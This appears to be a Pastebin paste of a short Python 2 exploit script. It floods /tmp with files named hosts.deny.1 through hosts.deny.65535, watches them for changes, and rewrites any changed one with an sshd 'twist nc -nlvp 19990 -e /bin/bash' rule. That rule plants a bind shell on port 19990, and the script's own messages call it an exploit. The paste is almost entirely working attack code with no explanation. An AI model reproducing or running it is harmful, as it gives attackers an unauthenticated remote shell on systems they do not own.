Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import os
- import time
- if __name__ == "__main__":
- print "=============================================="
- print "Creating /tmp/hosts.deny.300 through /tmp/hosts.deny.65536 ..."
- array_list = [()]
- for i in range(1, 65536):
- filename = "/tmp/hosts.deny.%s" % i
- f = open(filename, 'w')
- f.write("")
- array_list.append((filename,os.stat(filename).st_mtime))
- print array_list[i][1]
- f.close()
- while (1):
- for i in range(1,65536):
- filename = "/tmp/hosts.deny.%s" % i
- if (os.stat(filename).st_mtime != array_list[i][1]):
- f = open(filename, 'w')
- f.write('sshd : ALL : twist nc -nlvp 19990 -e /bin/bash \n')
- f.close()
- print "Written exploit. Have fun on port you know who"
- print filename
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement